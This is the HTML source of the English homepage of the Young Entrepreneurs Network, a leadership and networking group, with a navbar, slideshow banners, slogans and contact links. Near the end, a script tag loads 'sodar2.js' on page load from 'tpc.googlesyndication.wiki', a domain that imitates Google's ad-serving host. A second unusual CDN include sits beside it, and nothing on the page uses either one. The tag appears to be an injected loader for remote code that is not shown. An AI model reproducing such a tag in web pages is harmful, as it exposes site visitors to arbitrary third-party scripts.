165 lines
7.7 KiB
HTML
165 lines
7.7 KiB
HTML
|
<!DOCTYPE html>
|
||
|
|
<html lang="en">
|
||
|
|
|
||
|
|
<head>
|
||
|
|
<!-- basic meta tags
|
||
|
|
=========================================== -->
|
||
|
|
<meta charset="UTF-8">
|
||
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||
|
|
|
||
|
|
<!-- style files
|
||
|
|
=========================================== -->
|
||
|
|
<link rel="icon" href="../favicon.ico">
|
||
|
|
<!-- fonta -->
|
||
|
|
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||
|
|
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||
|
|
<!-- Bootstrap CSS -->
|
||
|
|
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||
|
|
<!-- animated.css -->
|
||
|
|
<link rel="stylesheet" href="../style/animate.min.css" />
|
||
|
|
<!-- css -->
|
||
|
|
<link rel="stylesheet" href="../style/style.css">
|
||
|
|
<link rel="stylesheet" href="../style/home.css">
|
||
|
|
<link rel="stylesheet" href="../style/en.css">
|
||
|
|
|
||
|
|
<!-- page title
|
||
|
|
=========================================== -->
|
||
|
|
<title>YEN</title>
|
||
|
|
</head>
|
||
|
|
|
||
|
|
<body>
|
||
|
|
<!-- navbar
|
||
|
|
=========================================== -->
|
||
|
|
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||
|
|
<div class="container">
|
||
|
|
<!-- left -->
|
||
|
|
<div class="header-container">
|
||
|
|
<a href="index.html">
|
||
|
|
<img class="site-logo" src="../images/logo.png" />
|
||
|
|
<label>YEN</label>
|
||
|
|
</a>
|
||
|
|
<h2>Y.E.N</h2>
|
||
|
|
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||
|
|
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||
|
|
aria-label="Toggle navigation">
|
||
|
|
<span class="nav__icon"></span>
|
||
|
|
</button>
|
||
|
|
</div>
|
||
|
|
<!-- right -->
|
||
|
|
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||
|
|
<ul class="navbar-nav">
|
||
|
|
<li class="nav-item">
|
||
|
|
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||
|
|
</li>
|
||
|
|
<li class="nav-item">
|
||
|
|
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||
|
|
</li>
|
||
|
|
<li class="nav-item">
|
||
|
|
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||
|
|
</li>
|
||
|
|
<li class="nav-item">
|
||
|
|
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||
|
|
</li>
|
||
|
|
</ul>
|
||
|
|
<div id="language" class="select-language">
|
||
|
|
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||
|
|
</div>
|
||
|
|
</div><!-- /nav links -->
|
||
|
|
</div><!-- /container -->
|
||
|
|
</nav><!-- /navbar -->
|
||
|
|
|
||
|
|
<main>
|
||
|
|
<!-- 倍伴 -->
|
||
|
|
<section id="block-home-1" class="page-block block-home-1">
|
||
|
|
<div class="slideshow">
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
|
||
|
|
</div>
|
||
|
|
<div class="home-main-1">
|
||
|
|
<div class="container">
|
||
|
|
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
|
||
|
|
<label>
|
||
|
|
<!-- <img src="../images/pb.png" /> -->
|
||
|
|
Supporting you in becoming a better leader, every step of the way
|
||
|
|
</label>
|
||
|
|
<a href="about.html">More</a>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</section>
|
||
|
|
|
||
|
|
<!-- 成长 -->
|
||
|
|
<section id="block-home-2" class="page-block block-home-2">
|
||
|
|
<div class="slideshow">
|
||
|
|
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
|
||
|
|
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
|
||
|
|
</div>
|
||
|
|
<div class="home-main-2">
|
||
|
|
<div class="container">
|
||
|
|
<div id="block-content-2" class="content">
|
||
|
|
<label>
|
||
|
|
<!-- <img src="../images/cz-tc.png" /> -->
|
||
|
|
Grow with Y.E.N and push your boundaries beyond
|
||
|
|
</label>
|
||
|
|
<a href="value.html">More</a>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</section>
|
||
|
|
|
||
|
|
<section class="contact-wrapper">
|
||
|
|
<div class="container">
|
||
|
|
<div class="main-content">
|
||
|
|
<label>Contact Y.E.N</label>
|
||
|
|
<p>
|
||
|
|
<span>
|
||
|
|
<img src="../images/icon-mail.png" />
|
||
|
|
<a href="https://yen.network/cdn-cgi/l/email-protection#9ce5f9f2b2fdf8f1f5f2addcf5fff0f3e9f8b2fff3f1"><span class="__cf_email__" data-cfemail="bbc2ded595dadfd6d2d58afbd2d8d7d4cedf95d8d4d6">[email protected]</span></a>
|
||
|
|
</span>
|
||
|
|
<span>
|
||
|
|
<img src="../images/icon-fb.png" />
|
||
|
|
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||
|
|
</span>
|
||
|
|
<span>
|
||
|
|
<img src="../images/icon-wechat.png" />
|
||
|
|
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||
|
|
</span>
|
||
|
|
</p>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
</section>
|
||
|
|
</main>
|
||
|
|
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
<!-- bootsrap js and jquery
|
||
|
|
=========================================== -->
|
||
|
|
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||
|
|
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||
|
|
<script>
|
||
|
|
new WOW().init();
|
||
|
|
</script>
|
||
|
|
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||
|
|
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||
|
|
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||
|
|
<script src="../js/jquery.cookie.min.js"></script>
|
||
|
|
<script src="../js/common.js"></script>
|
||
|
|
<script>
|
||
|
|
const oBlock1 = document.getElementById('block-home-1');
|
||
|
|
const oBlock2 = document.getElementById('block-home-2');
|
||
|
|
const oContent2 = document.getElementById('block-content-2');
|
||
|
|
|
||
|
|
window.onscroll = function(e) {
|
||
|
|
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
|
||
|
|
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
|
||
|
|
}
|
||
|
|
}
|
||
|
|
</script>
|
||
|
|
</body>
|
||
|
|
|
||
|
|
</html>
|